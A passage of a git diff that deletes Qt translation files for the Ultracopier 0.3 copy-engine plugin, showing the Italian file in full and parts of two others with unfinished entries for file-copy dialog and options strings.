- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/it/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/it/translation.ts
deleted file mode 100644
index 92743de..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/it/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0" language="it" sourcelanguage="en">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation>Non supportato su questa piattaforma</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation>Ultima modifica è sbagliato</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation>Ultima data di accesso è sbagliato</translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation>opzioni di errore</translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Opzioni del motore non viene caricato, non possono accedere ai filtri</translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation>Cerca:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation>Tipo di ricerca:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation>testo Raw</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation>semplificato regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation>Applicare su:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation>File</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation>Cartella</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation>File e cartelle</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation>Tutti stringa bisogno di corrispondere</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation>Verifica</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation>Test stringa:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation>Filtri di dialogo</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation>La regex è valido</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation>La stringa di test match con la regex</translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation>Filtri</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation>Esclusione filtro</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation>inclusione filtro</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation>Nessuno = Includi tutte le</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation>testo Raw</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation>semplificato regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation>Solo su file</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation>Solo sulla cartella</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation>partita completa</translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation>Impossibile fare per spostare o copiare elemento in male modo forzato: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation>Impossibile salvare la lista dei trasferimenti: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation>Problema alla lettura, o la dimensione del file è nullo</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation>Sbagliato intestazione: &quot;%1&quot;</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation>La lista di trasferimento è in modalità mista, ma questa istanza non è in questa modalità</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation>La lista di trasferimento è in modalità di copia, ma questa istanza non è in questa modalità</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation>La lista di trasferimento è in modalità di spostamento, ma questa istanza non è in questa modalità</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation>Alcuni errori sono stati trovati durante l&apos;analisi linea</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation>Impossibile aprire la lista di trasferimento: %1</translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation>Impossibile creare la cartella</translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation>Impossibile leggere il file sorgente: </translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation>File troncato durante la lettura, i possibili cambiamenti di dati</translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation>Prima ridenominazione</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation>%name% - copia</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;variabili: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; per il nome del file originale&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation>Secondo ridenominazione</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>%name% - copia (%number%)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;variabili: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; per il nome del file originale&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; per il numero aggiuntivo&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation>Rinominare le regole</translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation>Impossibile rimuovere la cartella</translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation>Il checksum non corrisponde</translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation>Impossibile leggere il file sorgente: </translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation>File troncato durante la lettura, i possibili cambiamenti di dati</translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation>Il motore è costretto a muoversi, non è possibile copiare con esso</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation>Il motore è costretto a copiare, non è possibile spostare con esso</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation>La modalità sono stati costretti in precedenza, è un errore interno, si prega di segnalarlo</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation>opzioni di errore</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Opzioni del motore non viene caricato, non possono accedere ai filtri</translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation>Errore su file</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation>Errore</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation>Dimensione</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation>Modificato</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation>Nome file</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation>Eseguire sempre questa azione</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation>Mettere a fondo</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation>Riprova</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation>Saltare</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation>Annullare</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation>Errore cartella</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation>Nome della cartella</translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation>Il file esiste</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Fonte</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Destinazione</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation>Dimensione</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation>Modificato</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation>Nome file</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation>Suggerisci nuovo nome</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation>Eseguire sempre questa azione</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation>Rinominare</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation>Sovrascrivi</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation>Saltare</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation>Annullare</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation>Sovrascrivi se più recente</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation>Sovrascrivi se non la data di modifica stessa</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation>Questi file sono lo stesso file</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation>La sorgente e destinazione è uguale</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation>Dimensione</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation>Modificato</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation>Nome file</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation>Suggerisci nuovo nome</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation>Eseguire sempre questa azione</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation>Rinominare</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation>Saltare</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation>Annullare</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation>Questo cartelle sono nella stessa cartella</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Fonte</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Destinazione</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation>La sorgente e destinazione è uguale</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation>Modificato</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation>Nome della cartella</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation>Suggerisci nuovo nome</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation>Eseguire sempre questa azione</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation>Rinominare</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation>Unire</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation>Saltare</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation>Annullare</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation>Cartella esiste già</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation>Trasferire i diritti di file</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation>Tenere la data del file</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation>Dimensione del blocco</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation>Auto iniziare il trasferimento</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation>Quando errore cartella</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation>Chiedere</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation>Saltare</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation>Unire</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation>Rinominare</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation>Controllare se la cartella di destinazione esiste</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation>Quando collisione cartella</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation>Solo dopo l&apos;errore</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation>Ignora se impossibile</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation>Fare checksum</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation>Abilita OS tampone</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation>Filtri</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation>Rinominare le regole</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation>OS tampone solo se inferiori</translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation>La cartella non esiste</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation>La cartella non è leggibile</translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/ja/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/ja/translation.ts
deleted file mode 100644
index 9a215b1..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/ja/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
